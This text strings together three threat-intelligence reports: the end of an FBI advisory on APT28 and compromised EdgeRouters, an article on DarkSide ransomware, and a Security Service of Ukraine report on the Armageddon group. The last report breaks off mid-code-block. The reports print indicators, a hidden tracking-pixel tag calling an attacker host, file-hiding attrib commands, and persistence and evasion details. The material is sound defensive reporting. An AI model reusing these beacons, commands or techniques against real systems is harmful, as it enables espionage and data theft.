| /usr/sbin/cl | 3B5ED45345193B06F40515DA342FF146267E8340B2E1AB6D55A257D2E3554A2B |
| /usr/sbin/cl | ADAE1BD8938B9A0D825A2EF7E7C4E000F01966C397306027119F20D7ECCE955D |
| /usr/sbin/cts | C09F8D0A9FA0F9BB3E19556182A95782DAEC2F2F532CAB5EEB5528F2CD783583 |
| /usr/sbin/env | 1CC20155517860557C94308EC913E4C3BFC072C34CE33449641CC9FB1D571B21 |
| /usr/sbin/events | 551EB82D82B7A8830549C9183EB39ACF19719C84B9BCCC7FB443504B093F6BB9 |
| /usr/sbin/events | CD83DD9470603B1A1951EEFA95B602E34207C4D5E62C649642E7160574A9C50D |
| /usr/sbin/events | FBC2E6820C874ED102BAB304382EDEFFB9708E7B8445E126C227A6C289D92708 |
| /usr/sbin/ptty | C9E06C7C62395DA32C91CC0C4ACB95F29A0AA3380A833E7C7B24B8D4DB50C0C6 |
| /usr/sbin/ptty | 5FACBE53B4C63DBC865F3713385358DF490A4BAD9211337241D85F0554CCA40A |
| /usr/sbin/ptty | C7C40CDCDD65E468EE29D330A34E8EE94C26AA8B3F1830E0A8DFEA8ACA3CDD50 |
| /usr/sbin/sshd | A4A95807F1C5B200D5D94E3E811A7C4AF2D0D9CA88CA4D7F9D02015574F4716F |
| /usr/sbin/sshd | 104E3EA9A190BA039488F5200824FE883B98F6FE01D05A1B55E15ED2199C807A |
Some versions of the OpenSSH trojan create malicious users systemd and systemx in /etc/shadow and /etc/passwd on infected EdgeRouters. The trojan also introduces an OpenDNS server IP address in /etc/resolv.conf, 208.67.220.222, and a user-land process named .kworker to masquerade as a legitimate kernel thread.
Network defenders can also query network traffic for connections with the following domains, which were identified by the FBI and are associated with the OpenSSH trojan.
- matbaiteahe.mooo.com
- lalapoc.kozow.com
- gneivaientga.ignorelist.com
- antotehlant.theworkpc.com
- onechoice.gleeze.com
- mumucnc.kozow.com
EdgeRouters compromised by the OpenSSH trojan display a unique SSH identification string, SSH-2.0-OpenSSH_6.7p2. Use Netcat or similar tools to collect identification strings from EdgeRouters and other hardware to locate infections.
```bash
(local) $ nc <IP address of EdgeRouter> <SSH listening port on EdgeRouter>
SSH-2.0-OpenSSH_6.7p2 # this version indicates infection.
```
Additionally, query repositories of banners collected from internet hosts, e.g., Shodan or Censys, to locate EdgeRouters infected by the OpenSSH trojan.
## MITRE ATT&CK TACTICS AND TECHNIQUES
See Tables 1-7 for all referenced threat actor tactics and techniques in this advisory.
### Table 1: APT28 ATT&CK Techniques for Resource Development
| Technique Title | ID | Use |
|-----------------|----|-----|
| Develop Capabilities | T1587 | APT28 threat actors authored custom Python scripts to collect account credentials for specifically targeted webmail users. |
| Obtain Capabilities | T1588 | APT28 actors accessed EdgeRouters compromised by Moobot, a botnet that installs OpenSSH trojans on compromised hardware. |
### Table 2: APT28 ATT&CK Techniques for Initial Access
| Technique Title | ID | Use |
|-----------------|----|-----|
| Compromise Infrastructure | T1584 | APT28 threat actors have accessed EdgeRouters previously compromised by an OpenSSH trojan. |
| Phishing | T1566 | APT28 threat actors conducted cross-site scripting and browser-in-the-browser spear-phishing campaigns. |
### Table 3: APT28 ATT&CK Techniques for Execution
| Technique Title | ID | Use |
|-----------------|----|-----|
| Exploitation for Client Execution | T1203 | APT28 threat actors exploited CVE-2023-23397. |
### Table 4: APT28 ATT&CK Techniques for Persistence
| Technique Title | ID | Use |
|-----------------|----|-----|
| Event Triggered Execution | T1546 | The compromised router housed a collection of Bash scripts and ELF binaries designed to backdoor OpenSSH daemons and related services. |
### Table 5: APT28 ATT&CK Techniques for Credential Access
| Technique Title | ID | Use |
|-----------------|----|-----|
| Adversary-in-the-Middle | T1557 | APT28 threat actors installed publicly available tools Impacket ntlmrelayx.py and Responder on compromised Ubiquiti routers to execute NTLM relay attacks. |
| Modify Authentication Process | T1556 | APT28 threat actors hosted NTLMv2 rogue authentication servers to modify authentication process from stolen credentials collected during the NTLM relay attacks. |
### Table 6: APT28 ATT&CK Techniques for Collection
| Technique Title | ID | Use |
|-----------------|----|-----|
| Automated Collection | T1119 | APT28 utilizes CVE-2023-23397 to automate NTLMv2 hash collection. |
### Table 7: APT28 ATT&CK Techniques for Exfiltration
| Technique Title | ID | Use |
|-----------------|----|-----|
| Automated Exfiltration | T1020 | APT28 utilizes CVE-2023-23397 to automate exfiltration to actor-controlled infrastructure. |
## MITIGATIONS
Rebooting a compromised EdgeRouter will not remove the existing malware of concern, if present. The FBI and its partners recommend the following steps be taken to remediate compromised EdgeRouters:
1. Perform a hardware factory reset to flush file systems of malicious files.
2. Upgrade to the latest firmware version.
3. Change any default usernames and passwords.
4. Implement strategic firewall rules on WAN-side interfaces to prevent the unwanted exposure of remote management services.
Additionally, all network owners should keep their operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. For CVE-2023-23397, updating Microsoft Outlook mitigates the vulnerability. To mitigate other forms of NTLM relay, all network owners should consider disabling NTLM when feasible, or enabling server signing and Extended Protection for Authentication configurations.
Further, for longer-term mitigations, network owners should prioritize only using routers and other equipment incorporating secure-by-design principles that eliminate default passwords and SOHO router defects.
## REPORTING
The FBI seeks any information or evidence of APT28 activity on compromised EdgeRouters. This information provides the FBI with the critical information it needs to deter continued use of such techniques and to hold threat actors accountable under United States law.
The FBI encourages organizations and individuals to report information concerning suspicious or criminal activity to their local FBI field office or the FBI’s Internet Crime Complaint Center (IC3). When available, each report submitted should include the date, time, location, type of activity, number of people, and type of equipment used for the activity, the name of the submitting company or organization, and a designated point of contact.
## DISCLAIMER
The information in this report is being provided “as is” for informational purposes only. The authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the authoring agencies.
## ACKNOWLEDGEMENTS
Mandiant and Microsoft Threat Intelligence contributed to this advisory.
## VERSION HISTORY
February 27, 2024: Initial version |
# Here’s what we know about DarkSide ransomware
With the ransomware incident that shut down a major fuel pipeline in the United States, another well-known variant on the cybercrime underground has been thrust into the international spotlight.
On May 10, 2021, the U.S. Federal Bureau of Investigation announced the attack on Colonial Pipeline was caused by the DarkSide ransomware variant, which forced the company to halt the pipeline’s operations so Colonial could carry out a full investigation into the event. While the general public may be hearing DarkSide’s name for the first time, Intel 471 has been tracking those associated with the variant since they first announced their products to the cybercrime underground last year.
The following is an examination of how DarkSide rose to prominence among cybercriminals — which Intel 471 has been tracking since they emerged in the underground — in an ecosystem that is teeming with actors looking for new ways to extort businesses out of their money.
While spotted in the wild as far back as August 2020, DarkSide’s developer “debuted” the ransomware on the popular Russian-language hacker forum XSS in November 2020, advertising that he was looking for partners in an attempt to adopt an affiliate “as-a-service” model. Soon after, the ransomware was spotted to be behind numerous attacks, including several incidents targeting manufacturers and law firms in Europe and the United States.
In March 2021, the developer rolled out a number of new features in an effort to attract new affiliates. These included versions for targeting Microsoft Windows and Linux-based systems, enhanced encryption settings, a full-fledged and integrated feature built directly into the management panel that enabled affiliates to arrange calls meant to pressure victims into paying ransoms, and a way to launch a distributed denial-of-service (DDoS).
With respect to DarkSide’s affiliates, there is overlap in how the ransomware was delivered, including affiliates gaining initial network access by exploiting vulnerable software like Citrix, Remote Desktop Web (RDWeb), or remote desktop protocol (RDP), performing lateral movement, and exfiltrating sensitive data before ultimately deploying ransomware. For initial access to networks, actors usually purchased access credentials on underground forums, conducted brute-force attacks, used spam campaigns to spread malware loaders and/or bought access to popular botnets such as Dridex, TrickBot, and ZLoader. As for post-exploitation tools, the arsenal usually included Cobalt Strike and Metasploit frameworks, Mimikatz, and BloodHound.
Some of the tactics, techniques, and procedures that Intel 471 has observed from DarkSide affiliates include:
- One prominent actor partnered with network access brokers to source initial access credentials, used the Mega.nz file-sharing service to exfiltrate data from victims, leveraged a PowerShell backdoor for reconnaissance and persistence within corporate networks, and also operated the KPOT information-stealing malware in conjunction with deploying DarkSide.
- Another actor recruited penetration testers to use VPNs in conjunction with already-obtained network access, allowing attackers to move laterally within the network, exfiltrate sensitive data, and deploy ransomware.
DarkSide operators did not take responsibility for the Colonial Pipeline attack or publicly dump any data belonging to the company at the time of this report. However, on May 10, 2021, the group released an announcement alluding to its possible involvement in the attack. The operators pledged in the announcement that they will introduce “moderation” in the future by carefully checking each company DarkSide affiliates want to encrypt “to avoid social consequences in the future.” Operators also claimed that the group is strictly motivated by money and not affiliated with any government apparatus.
This is not the first time DarkSide operators have tried to put PR spin on their actions. In October, the group announced on its blog that it would donate a portion of the collected ransoms to Children International, a non-profit child sponsorship organization dedicated to fighting poverty, and The Water Project, a non-profit aiming to provide clean water to countries in sub-Saharan Africa.
"We think it's fair that some of the money they've paid will go to charity,” the entry on the blog site read. “No matter how bad you think our work is, we are pleased to know that we helped change someone's life."
It is unknown if DarkSide continued to fund the charities outside of their initial donation. The popularity and increasing maturity of the ransomware-as-a-service model combined with the aging systems that control energy systems is a compounding problem. As threat actors continue to observe ransomware’s operational success, more cybercriminals likely will want to get in on the action due to its thriving sub-industries (i.e., access brokers, credential shops, and bulletproof hosting) and higher returns when compared to other crimes (i.e., targeting bank accounts). It’s imperative that companies responsible for critical infrastructure understand that insecure systems present a juicy ransomware target to the cybercriminal underground, and proactive defenses will go a long way in preventing future incidents like what happened with Colonial Pipeline. |
# Introduction
Within conducting hybrid aggression against Ukraine since 2014, Russian Federation special services launched open intelligence and sabotage activities. For that purpose, the capabilities of the existing cyber units have been strengthened and new units were created. Individuals were actively involved in organizing and conducting cyberattacks.
The Security Service of Ukraine has reliable data concerning cyberattacks by APT28 (Sofacy/Fancy Bear), SNAKE (Turla), and APT29 (Cozy Bear/The Dukes). At the same time, some results of the criminal activities of these groups are well known to the public as targeted cyberattacks: BlackEnergy, Industroyer, and NotPetya.
Comparing with the mentioned APT, the hacker group "Armageddon" is relatively young, according to various sources – 2013-2014, and was “under the radar” in the beginning of its activities. It needs no less attention from the competent authorities. Under relevant circumstances, the group is able to turn into a cyberthreat with consequences, the scale of which will exceed the negative effect of the activities of the mentioned APT groups.
The outcomes of investigations into cyberattacks associated with the activities of the hacker group "Armageddon" are occasionally published in the reports of antivirus laboratories and companies dealing with cybersecurity and providing cybersecurity services. The Security Service of Ukraine considers sharing its own vision of this cyberthreat with the Ukrainian and world community and tries to shed more light on the group's cyber operations, their purpose, tactics, techniques, and procedures used by hacker groups, and their evolution.
The information is provided by the Security Service of Ukraine to the extent that takes into account the legal restrictions on the regime of access to information.
## The hacker group’s "Armageddon" profile
The Security Service of Ukraine classifies the hacker group "Armageddon" as APT (Advanced Persistent Threat) and unambiguously identifies it as a specially created structural unit of the Federal Security Service of the Russian Federation, whose tasks are intelligence and subversive activities against Ukraine in cyberspace.
Other well-known names include Gamaredon (Eset, PaloAlto), Primitive Bear (CrowdStrike), Winterflouder (iDefence), BlueAlpha (RecordedFuture), BlueOtso (PWC), IronTiden (SecureWorks), SectorC08 (Red Alert), and Callisto (NATO Association of Canada). The group is an integral part of the so-called "Office of the FSB of Russia in the Republic of Crimea and the city of Sevastopol" and consists of regular officers of the secret service and some former law enforcement officers of Ukraine.
The Security Service of Ukraine believes that Armageddon was formed and has been operating since 2014 (some sources on the Internet indicate June 2013). The main purpose of its activity is to conduct targeted cyberintelligence operations against state bodies of Ukraine, primarily security, defense, and law enforcement agencies, in order to obtain intelligence information.
The activity and development of the hacker group "Armageddon" during 2014-2021 have led to the existence of a new real cyber threat. In the period 2017-2021, this group implemented the most numerous cyberintelligence actions on various vectors of public administration.
Armageddon does not use complex and sophisticated techniques, tactics, and procedures, nor does it try to make an effort to stay secret for a long time. Staying off the radar is not a group priority. However, the group's activities are characterized by intrusiveness and audacity. It is evidenced by the name of the group "Armageddon," which is taken from the information contained in the metadata of the first created documents-baits; cyberattacks algorithm repeatability and regular mass sending of malicious messages to the same circle of addressees; derogatory password phrases encoded in malicious software, etc.
The cyberattack mechanism is based on the principle of simultaneous mass destruction of a large number of users inside one organization and the deployment of malicious software. When the victim's computer system loses control, the attackers try to regain access to the source of the information and try again to compromise them according to a similar scenario.
Malicious software modules have been created with the help of programming languages VBScript, VBA Script, C#, C++, as well as using CMD, PowerShell, and .NET command shells. In fact, the group focuses on computer systems running Windows, although we know about the test use of the EvilGnome malware (to defeat Linux systems), as well as attempts to get access to Android devices.
Analysis of the group's tactics since its first appearance on the "landscape" of cyberspace allows us to divide its activities into two periods: from 2014 to 2017 and from 2017 to the present day. This divide is due to the evolution of tools.
Though there is little information about Armageddon's early days, based on the available data, members of the group relied on legitimate, publicly available software products in the early years of their existence, which was eventually changed to customized malware Pterodo/Pteranodon.
At the first stage, the minimum required set of software consisted of dropper files sent with phishing emails, as well as remote access tools, which were installed after users opened malicious applications and provided remote access to the information system. Such tools include RMS (Remote Manipulator System) and UltraVNC.
The second stage, starting in 2016, is characterized by the transition to customized malware called Pterodo/Pteranodon, which widely expanded the functionality of the group.
## Phishing as a guarantee of an effective cyberattack
Throughout its existence, the hacker group "Armageddon" has successfully used methods of social engineering, especially sending potential victims emails with specially crafted messages and malicious attachments. This remains the main vector of cyberattack.
This approach does not require significant costs, and information about the official mailing addresses of a government agency, unit, or an official can be found in open sources. Thus, 2014-2016 are characterized by sending emails on topics related to the Anti-Terrorist Operation (now the Joint Forces Operation) in the Donetsk and Luhansk regions, in particular, on the movement of forces and means, loss of personnel and military equipment, facts of desertions, and analytical data on the activities of units of the security and defense sector of Ukraine. The targets were, respectively, military personnel of the security and defense sector of Ukraine, representatives of law enforcement agencies, and other individuals involved in the Anti-Terrorist Operation/the Joint Forces Operation.
Subsequently, in 2017-2019, due to the partial cessation of active hostilities, the emphasis was shifted towards lure documents on criminal proceedings, international cooperation, draft legislation, with a simultaneous reorientation to users of the central offices of the security and defense sector of Ukraine.
A simple method of putting pressure on the user was applied in many emails so that an electronic attachment was opened recklessly. The word "Urgent" was indicated in the title and/or text of the message, which was to force the employee to review the contents immediately and start the system infecting process accordingly.
From 2019 to the present day, almost half of such emails have been allegedly sent on behalf of state bodies, international organizations, and individuals, and the lure documents became requests for information, international and internal official correspondence letters of Ukrainian state bodies. At this stage, Armageddon is trying to expand its presence and carry out its cyberattacks on information systems of employees of central executive bodies in particular.
According to the phishing email samples analysis results, the systematic facts of real recipients replacement are worth noting. Usually, the field "address from" indicates the data (primarily the domain name) that corresponds to a real government agency, from which the recipient can expect a message, including information materials at the appropriate time. The subject of the letter, its content, and the title of the appendix reflect current information, which gives the letter even more legitimacy. Thus, a specially formed fake letter creates the illusion of credibility and encourages users to read the contents of the attached documents without suspicion. So, the opening of such applications by officials triggers the mechanism of downloading malicious software and infecting the information system.
It can be argued that special attention is focused on the investigative units of law enforcement agencies, which have been handling thousands of criminal cases since the beginning of the Russian armed aggression against Ukraine.
In reality, the Armageddon group created numerous mailboxes on the existing public services of Russia (@yandex.ru), Ukraine (@i.ua), the Czech Republic (@popis.cz, @post.cz, and @email.cz), from which fake messages were actually sent. At the same time, such mailboxes were used as a cover for sending mails from pre-configured mail servers, which were located in Russia and on the territory temporarily not controlled by Ukraine. The Security Service of Ukraine is aware of the facts of sending fake emails with malicious software from computers that used Russian IP addresses (IpServer, IT Expert providers), including the Crimean telecom provider Crelcom (Simferopol).
The mailbox "lifetime" was usually no more than a month, but there were some cases of sending fake messages from one mail for a much longer period.
A specific feature of the 2019 letters was the embedded hidden pixel into their bodies, which was implemented due to the capabilities of the HTML markup language. For example:
```html
<img src=http://pixel1.space/images/icons/3125pd6vd/IRILgErwaw6/cached.gif height=«0» width=«0» style=«height:0px;width:0px»>
```
At the same time, the minimal size parameters of the image set up by the attackers and its placement on the screen do not allow ordinary users to notice it. This feature allows hackers to track users who have read the email but have not opened the malicious attachment for unknown reasons.
So, the implementation of a cyberattack begins with sending a phishing letter with a malicious attachment to a potential victim, after the opening of which the mechanism of automatic compromising of the computer system and creating the preconditions for information leakage is launched.
## Used Vulnerabilities
Throughout the period of its activity, the hacker group "Armageddon" has been actively using two known vulnerabilities. Thus, up to version 5.70, the most popular data compressor contained the WinRAR ACE vulnerability (CVE-2018-20250), which allows placing files from the archive to any folder on a victim’s disk automatically, in the background mode without the victim’s permission. Due to this, the attackers uploaded malicious files to various directories, which are used in Windows for automated launch of user programs (StartUp). This created the opportunity of persistent presence in the victim’s information systems and regular malware launches.
It is worth noticing that this vulnerability had existed for almost 20 years and became known only in 2019. The developers have now fixed this bug, so users need to update the WinRAR software to the latest version.
Vulnerability of CVE 2017-0199 has been known since 2017 as Microsoft Office Remote Code Execution Vulnerability and allows executing arbitrary code in the victim's system remotely after documents with the extension .rtf, .docx, .doc are opened.
## Tactics, Techniques, and Procedures (TTPs) Evolution
With the goals of obtaining documentary files from the systems of Ukrainian state bodies, the hacker group’s TTPs "Armageddon" have gone through several stages of their evolution. Malicious software was intended to provide remote access to the system, the ability to execute commands on it, data collection and exfiltration, distribution to systems without an Internet connection (via removable data storages), etc.
It is worth mentioning that in terms of architecture and implementation complexity, the used tools are not sophisticated but have proven to be quite effective. Throughout the period of criminal activity, the group did not show a desire for lateral movement within the network. The group’s TTPs provided mass compromising of users’ systems as a result of malware targeted delivery to them and infecting each individual system. That happened until 2021.
As it was already stated, the group uses droppers to deliver malware, which are delivered via malicious e-mails. At the stage of its installation, an archive in SFX format was sent to the victim together with a phishing letter. While unpacking this, the Remote Manipulator System (developed by the Russian company "TektonIT") was deployed.
At the final stage, the deployment of remote access tools, as well as tools for collecting information takes place. At the stage of its formation with the phishing letter, in an archive SFX format, Remote Manipulator System (developed by the Russian company "TektonIT") was sent to the victim. However, almost immediately, it was replaced by another remote access tool, the use of which is still recorded, "UltraVNC" - free software for the Windows operating system that uses the VNC protocol (a tool for remote management of other information systems).
The group was also looking for software with the ability to identify and retrieve data from removable data storages, as well as isolated (not connected to the Internet) information systems. From 2014 to 2016, it is known about the usage of the file ChkFlsh.exe (mikelab.kiev.ua).
At the same time, the main tool of the hacker group Armageddon from 2016 has been malicious software Pterodo, which actually allowed solving key issues of deployment in the targeted system, securing and conducting intelligence activities.
## Pterodo/Pteranodon malware
Pterodo malware is a customized remote administration tool that has a modular structure and covers a wide range of different functions, namely:
- Before performing malware tests, it checks the environment in which it runs and tries to identify Sandboxes.
- Downloads and uses additional modules.
- Takes screenshots at a specified frequency.
- Gets access to cameras and a microphone (if available).
- Provides the ability to remotely execute commands within the system.
- Checks connected removable data storages and copies itself on/from for distribution to the systems that are separated from the Internet.
It is known that the core of Pterodo has been publicly available on Russian hacker forums since 2016, and one of the detected modules responsible for decrypting the data was posted on Github by a user with the nickname "asu2010" and was also described on the Russian Internet portal Habrahabr.
Pterodo is a type of malware that is designed for Windows and is aimed at defeating the version from Windows XP to Windows 10. Today, Pterodo has changed a lot. During the period of active monitoring of the group's activities and the results of cyberattacks investigations, the Security Service of Ukraine has looked into a large number of malware samples, on the basis of which it was concluded that several methods of implementation had changed.
The use of malware Pterodo on a continuing basis began in 2017. The main idea of it was making the existing modules collection and their packaging into the archive. Also, a lure document was necessarily added to the archive, which is displayed to the user to hide suspicion of unauthorized actions.
After opening the received application (self-extracting archive with extension files .dll and .cmd), malicious modules are downloaded to certain directories and executed in hidden mode.
The virus provides the following actions: it copies its files to the operating system startup folders %APPDATA%\Microsoft\Windows\Start and Menu\Programs\Startup, and registers itself in the task scheduler in order to wait for action from the command & control server (C2).
In earlier versions, command & control servers were hard-coded, but from 2019, the SSU noticed additional configuration files with a backup C2 list.
The algorithm for unpacking, placing files into directories, and their subsequent launch is encoded in a tron.cmd. This file is an orchestrator responsible for managing the entire package of malicious modules.
The LocalSMS.dll file is a dropper that communicates with the command & control server and loads other modules. In order to do that, the information about the computer is collected: computer name, user list, list of logical drives in the system, installed updates, etc. All this information is written to a file and sent to a specific server. In many cases, the malware has the functionality of dumping credentials for authorization on the internal proxy server from the OS registry, and its application if necessary.
Winrestore.dll is a tool responsible for creating and collecting screenshots. It should be noted that the set of modules changed with every new wave of attack, with the expectation of loading the necessary components after fixing in the system (depending on current needs). At the same time, the servers are configured in such a way that attempts to load the malware components for research were unsuccessful, and the server response was 404 Not Found. This is due to additional settings/parameters of the request (for example, the IP is not in the white list to which you can download further malware from the link, inappropriate user agent). This filters computers that are of interest to the attacker.
During the period 2018-2019, together with the SFX-archives, the victims received letters with attached .scr files (screensaver), which masked the standard .exe extension for such file types. This file contains a thematic office document (no macros), as well as a malware dropper.
The last file is a free WGET console bootloader that connects to the command server and downloads a new software module that uses the systeminfo command to generate a list of required information and the name of the bot generated from the PC name and logical drive serial number (%computername%_logicaldiskserial). After sending system information, in response, the main function modules are loaded, which allow remote execution of commands. The task scheduler creates a task to periodically run the malware in order to have resilience for rebooting.
Another mechanism for downloading malware modules was to create an allegedly attached archive file in an email using HTML, which, when clicked, communicates to a remote server using a specific download link. Thus, the first-stage malware was delivered to the victim's information system. At the same time, it turned out that depending on the operating system and the transition time, the victim received different content. On the day of the investigation, before 10 a.m., the .scr archive was downloaded, and after 11 a.m., the .rar archive was downloaded from the same link.
At some time, when communication initiates from a mobile Android device, the user's browser redirected to the phishing page Google Play (hosting provider Expert Llc). However, the download did not take place, and the page of the real Google market service was opened. Thus, we can assume the deployment of these resources to conduct a cyber campaign to compromise mobile terminals.
During this period, the Security Service of Ukraine also found some sample files that contained Windows Management Tools (WMI) commands to determine the location of the information system, as well as the use of non-numerous scripts on PowerShell.
## PowerShell
The Security Service of Ukraine has detected Armageddon using two types of PowerShell scripts. One of them is designed to obtain information about the user and the information system, sending it to the command & control server, loading in response an additional module – the executable file with its simultaneous hidden start.
Another script file contained 4039 lines of program code. At the same time, PowerShell commands were actually intended to execute code in the C# programming language. Analysis of this code showed that its functional purpose was to connect to the command & control server in the appropriate domain, retrieve data from it, load data into the executable file, and run it. However, it should be noted that only about 200 lines of code are actually functional. All other lines are generated only for distraction, which can be attributed to the program code obfuscation technique.
In fact, the first stage now lies in downloading the WGET console utility and scripts to run it, set up persistence for rebooting by making changes to the registry and/or task scheduler, as well as collecting information about the system (computer name, disk name, IP address, login, and password to access the Proxy) and sending the collected information to C2.
In many batch files, the use of commands that changed the values in the registry by "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden" to "00000002" was noticed, which allows hiding files and folders from the user. This functionality corresponds to changing the parameter show hidden files, folders, and drives in the folder settings.
Having created conditions for constant presence in the system and receiving constant requests from the victim's system, the group filters bots with the main malicious software. Also, since the end of 2019, Armageddon started to implement VBScripts, which completely replaced cmd files later and became the main scripts for the malware Pterodo functionality to be deployed in the system, to maintain persistence and download new specialized modules.
Full usage of VBScripts by the group has begun in 2020 and hasn’t been stopped till this day. The conditions for this are actually created due to the existence of the CVE 2017-0199 vulnerability.
By examining the code of numerous files and their relationships, it is possible to draw conclusions about the following mechanism of compromising the victim's system. The recipient receives and opens an office electronic document (.docx, .doc, .rtf format) with a built-in file link to download a remote template. In response, a template file (.dot) is sent with built-in macros, the execution of which provides the initial stage of the information system compromising. This mechanism can be implemented in MS Word, Excel, PowerPoint.
As a result, the malicious VBA code deletes the Windows DNS cache using the ipconfig/flushdns command, decodes the Base64 strings, places the vbs file in the specified way, writes the code to it, and finally creates a task in the task scheduler on behalf of Administrator to run this file using VBS (wscript.exe - standard Windows utility for executing VBS scripts) with a certain frequency (for example, 5 minutes) every day.
At the same time, the settings of Microsoft Office Word for invisible documents damage are changed in the registry and run the malware using VBA. Changes occur in the registry branch HKEY_CURRENT_USER\Software\Microsoft\Office\Version\Word\Security with keys AccessVBom and VBAWarnings. By default, these keys are set to "0". As a result of unauthorized actions, they are set to "1".
This bypassing Microsoft Office default settings method is used to automatically run trusted external or untrusted macros and any VBA code without displaying a security warning or obtaining user permission. Besides, any victim that allows macros to run once from a malicious file will be opened to macro-based attacks. The victim will unknowingly distribute the same malicious code among other users, transferring infected office documents from one system to another.
The vbs file is started at login due to the corresponding values from the autostart branch of the registry HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run and HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce.
As a result of startup, a unique user agent is generated, which transmits data on the computer name and serial number of the system disk (HEX-value) to the command and control server (according to the domain name defined in the code).
In case of a failed request, the script code provides the ability to search for actual C2 IP address by known domain and repeats the query at the following link. If the server responds successfully, the received data is written to a new executable file.
It should be noted that the new file has the same name and location as the previous one, so it checks its existence before the code will be written. If present, the previous file is deleted. The same names are misleading because the contents of all the files are different.
The analysis of other scripts revealed the following additional functionality:
- Checking the mshta.exe process in the list of running processes and terminating it.
- Suspending its work for some time/random period in the range, determining start time and complete stop.
- Checking for a process with the same name in the list of running processes and finishing it.
- Repeating the cycle laid down in the file, which allows you to download and run almost any file in the system and provides full control over the system.
- Checking the file size before start and in case of conformity to conditions, the file is started.
- Searching for all available disks with letters from "D" to "Z".
- Checking for the possibility of creating and executing processes, as well as the presence of a connection to the Internet and to the command & control server of attackers.
- Downloading tasks from the task scheduler.
It should be noted that along with vbs files, lnk shortcut files can be downloaded to the victim's computer, which use open folder icons from the shell32.dll library with id = 126 and contain links to download and execute C2 files using program mshta.exe.
The investigation also came across html files capable of creating malicious vbs scripts and simultaneous entries in the registry branch HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run to execute them.
Also, among the aspects of the group's work, the use of PE files should be noted, which require a text file format .txt, with a list of command and control servers of attackers. When a PE file is executed, it connects to the first C2 address in the list, which loads any executable file that is stored in %Temp% and starts its execution. The file name consists of 8 random characters with ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 +.exe.
The second address from the txt file is used to update the list of attackers' command and control servers. This functionality is used when it is not possible to connect to the first address in the list. However, as mentioned before, if necessary, the link is changed to the current IP address to reconnect.
## FileStealer
Files of this type have the extension .exe written in the C# programming language using the .NET framework and are designed to collect files with the following extensions: *.doc, *.docx, *.xls, *.rtf, *.odt, *.txt, *.jpg, *.pdf. These files are collected from all active disks except CD drives. At the same time, files that are located in the following ways are ignored: \Users\All Users, \Windows, \Windows\TEMP, \Program Files, \Program Files (x86), \ProgramData, \AppData.
During the operation of such modules, files with databases %Appdata%\db.bin are created. These files contain MD5 hashes of file names that have been copied. In the future, these files are used to check the presence of already received files and extract only unique data. This indicates the obvious purpose of the hacker group Armageddon to collect and steal electronic documents systematically.
In addition, the functionality of these modules also includes the creation of screenshots from victims’ screens. The names of the screenshots are based on the date of its creation in the format yyyy-MM-dd-h-mm + .jpg. Both collected documents and screenshots are stored in the folders %Temp%\servicehubs\ and %\AppData\Local\servicehubs\, as well as other locations with typical English names "SCREEN", "USB". Subsequently, all data from the directory %Temp%\servicehubs\ using HttpWebRequest method POST are sent to C2 and then deleted. The task to run the hijackers is set in the system task scheduler and executed every 5 minutes.
## New 2021 TTPs
In 2021, the Security Service of Ukraine revealed the facts of uploading files from the legitimate PSTOOLS set to the victims' systems and attempts to run the PSEXEC utility to execute commands on remote workstations. All this happened in systems where we observed elements of running files that correspond to mimikatz for Windows - the most common means of intercepting open sessions in Windows, which allows you to extract the authentication data of users who are logged in.
Given the obtaining of the credentials of network administrators and users, the efforts of Armageddon members to advance within the network and provide control over other workstations as well as server equipment are obvious.
Another aspect of Armageddon’s progress is to ensure a permanent presence in the system with the minimization of malicious files on the hard drive. In this case, the capacity of the registry and task scheduler is used. Thus, the scheduler creates a task to receive and execute a set of commands from the system registry.
41 keys with data parts are created in the registry branch HKEY_USERS\"USER"\Enviroment\userData1…userData41. During the operation of the malware, this data is concatenated and a malicious process is started on the compromised system. The malicious code is used to collect information about the victim's system (computer name and serial numbers of hard drives), which is sent to the attacker's command & control server.
If the connection is successful, the response will result in another malicious code encrypted in base64, which is immediately decrypted and executed without creating a file in the user's system. In this way, attackers create the conditions to minimize detection by cybersecurity tools and provide the ability to deliver various malicious codes.
At the same time, infected Normal.dotm template files were found on the affected computers, which contained malicious links to download macro files from command & control servers. C:\Users\...\AppData\Roaming\Microsoft\Шаблоны\Normal.dotm
The Normal.dotm file opens with the launch of MS Word, contains a customized set of user parameters that are responsible for the basic settings of documents (fields, styles, font size, etc.). All these parameters will be stored in other documents that will be created on their basis in the future, regardless of the users and computer equipment that will prepare them.
Thus, each new electronic document created on the affected system in MS Word contains code for connecting to C2 and downloading files with a set of malicious macros, the execution of which triggers the mechanism of compromising the information system. The exchange of such electronic documents actually creates a technical channel for the distribution of malware through trusted sources.
## Avoiding detection and checking the operational environment
In the process of evolution of malicious software, it was found that its functionality involves checking the startup environment, the operation of network monitoring tools, and the presence of antivirus software. The group’s use of the following techniques was recorded:
- Pinging Google DNS servers with IP address 8.8.8.8 and Cloudflare with IP address 1.1.1.1.
- Checking the Internet connection by trying to access go.microsoft.com.
- In the list of running processes, detecting the program wireshark.exe, as well as processexplorer.exe.
- Detecting the execution environment according to the coded list with known names of "sandboxes".
## USBstealers
An important tool in the activities of the hacker group Armageddon are the files that distribute the malware through the connected removable media, as well as collect and steal it from these media. The CSSC (Cyber Security Situational Centre) of the Security Service of Ukraine revealed several instances when this type of malware was used within cyberattacks against critical objects, and the mechanism of their implementation is carried out according to the following algorithm.
Once the persistence mechanism is implemented in the victim's system, the orchestrator cmd file checks the presence of connected removable data storage and copies PE files from the directory %APPDATA%\Microsoft\Crypto\keys\serial number of the volume\executable file every 5 minutes. During the copying process, the file name is changed, and the file hiding attributes are set to:
```cmd
attrib +h +s /s E:\***.exe
```
A shortcut called New folder is created on the attached media through the marker "3" from the shell32 library, as well as the Boot directory with the attributes of hiding:
```cmd
attrib +h +s /d /s E:\Boot
```
Also, during the code work in the removable data storage, available electronic documents are collected and transferred to the folder:
```cmd
<RemovableDrive>\Boot\UA%RANDOM%.%%Q Boot
```
with attributes:
```cmd
